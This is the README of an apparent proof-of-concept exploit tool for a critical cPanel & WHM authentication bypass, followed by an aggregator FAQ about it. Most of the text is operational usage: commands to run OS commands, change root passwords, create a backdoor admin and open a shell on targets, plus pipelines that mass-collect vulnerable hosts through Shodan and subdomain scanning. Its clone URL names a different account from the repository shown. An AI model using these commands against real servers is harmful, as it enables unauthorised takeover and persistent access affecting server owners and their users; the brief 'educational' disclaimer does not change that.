CVE-2026-41940-PoC README

The project's README from github.com/sakidekin/CVE-2026-41940-PoC. As one markdown file: README.md.

CVE-2026-41940

⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.

Description

A tool for exploiting CVE-2026-41940, a critical authentication bypass in cPanel & WHM (CVSS 10.0), allowing unauthenticated attackers to gain root-level WHM access by injecting CRLF sequences into server-side session files via the Authorization header — no credentials required.

How it works

CVE-2026-41940, in general terms, is exploited through a breakdown in how the system handles authentication sessions in cPanel/WHM. The attack typically begins with a normal request to the login interface, where the application prematurely initializes a session before fully validating user credentials. Because of improper handling of session-related input, certain crafted or unexpected input structures can alter how session data is stored or interpreted by the server.

Affected versions

Version Vulnerable Patched
110.x ≤ 11.110.0.96 11.110.0.97
118.x ≤ 11.118.0.62 11.118.0.63
126.x ≤ 11.126.0.53 11.126.0.54
132.x ≤ 11.132.0.28 11.132.0.29
134.x ≤ 11.134.0.19 11.134.0.20
136.x ≤ 11.136.0.4 11.136.0.5

Installation(Windows/Mac OS)🔄

git clone https://github.com/yasouxken/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows 
python cve.py
# MacOS/Linux
python3 cve.py

How to use

The tool expects a target domain to be specified.

Single target mode:

python cve.py -u https://target1.com:2083

You can also scan from the target.txt file(create it):

python cve.py -l target.txt -t 50 -o result.json

Basic scan:

Available commands:

python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.

Post-Expoit actions

# List all accounts on the server
python cve.py list -u https://target.com:2087

# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"

# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087

# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'

# Interactive WHM shell
python cve.py shell -u https://target.com:2087

Pipelines

# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
  httpx -silent -ports 2085,2086 -threads 50 | \
  python cve.py scan -t 40 -o results.json

# From scope list
cat scope.txt | \
  httpx -silent -ports 2085,2086 -threads 100 | \
  python cve.py scan -t 30 -o results.json

# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python cve.py -t 30 -o shodan_results.json

# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python cve.py -t 20 --action list

WHM Shell mode

After a succesful executuion, you can open an interactive WHM shell:

python cve.py shell -u

All shell Commands

Command Description
id Show User ID
hostname Get server hostname
accounts List all user accounts
info Load, disk, MySQL host, version
cat <path> Read file content
exec <cmd> Execute OS command
newadmin <user> <pass> Create backdoor WHM admin
passwd <pass> Change root password
l [path] List directory
help Show all commands
exit Exit shell mode

CLI Reference

usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] 

Target:
  -u, --url URL          Single target URL (e.g. https://host:2087)
  -l, --list LIST        File with URLs (one per line)
  --hostname HOSTNAME    Override canonical Host header (auto-discovered)

Scan:
  -t, --threads N        Concurrent threads (default: 10)
  --timeout N            Request timeout seconds (default: 15)
  --rate-limit N         Delay between targets (default: 0)
  --force                Skip cPanel detection check

Post-Exploit:
  --action ACTION        Action: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          New root password (--action passwd)
  --cmd CMD              OS command (--action cmd/exec)
  --new-user USER        New cPanel username (--action adduser)
  --new-domain DOMAIN    New cPanel domain (--action adduser)

Output:
  -o, --output FILE      Save results to JSON file
  --no-color             Disable ANSI colors

Disclaimer

⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.

CVE-2026-41940-PoC (sakidekin/CVE-2026-41940-PoC)

authentication
Searching Database…

372 ·GitHub
CVE-2026-41940-PoC
What is this?This is a proof-of-concept exploit tool for CVE-2026-41940, a critical (CVSS 10.0) authentication bypass in cPanel & WHM that lets an unauthenticated attacker gain root-level WHM access by injecting CRLF sequences into server-side session files via the Authorization header.
Is this a library or a standalone exploit script?It is a standalone Python command-line tool, not a library. You point it at a target and, on success, it can drop you into an interactive WHM shell.
How do I run it against a target?Specify a single target domain to scan, or list multiple domains in a target.txt file for batch scanning.
Do I need credentials or an account on the target?No, the whole point of the exploit is that it bypasses authentication, so no valid credentials are required to gain WHM access.
Does this work on every cPanel/WHM install?No, it only works on unpatched builds (e.g. up to 11.110.0.96, 11.118.0.62, 11.126.0.53, 11.132.0.28, 11.134.0.19, 11.136.0.4). The author also states it is for educational or bug bounty use only and must not be used outside controlled environments.
Does it run on Windows and Mac?Yes, the README's installation section explicitly covers Windows and Mac OS setup.
What can I do once I get WHM shell access?The interactive shell supports commands like id, hostname, accounts, info, cat, exec, newadmin (create a backdoor WHM admin), passwd (change root password), and l to list directories.
How severe is CVE-2026-41940?It has a maximum CVSS score of 10.0, since it allows unauthenticated attackers to obtain root-level WHM access.
Which cPanel/WHM versions are patched?Fixes landed in versions 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5; anything before those per branch is vulnerable.
What are similar projects?CVE-2026-9830, dirtyfrag, CVE-2026-62911, hacker-roadmap, beef, exploitarium, social-engineer-toolkit, redamon
Which topics is it in?poc, exploitation, cve, ethical-hacking, pentest, security-research, vulnerability, exploit, hacking-tool, red-team, pentesting, penetration-testing
Creator
sakidekin
Size
0.5 MB
Stars
372
Updated
CommitOct 17
Age
8d
Commits · 90 Days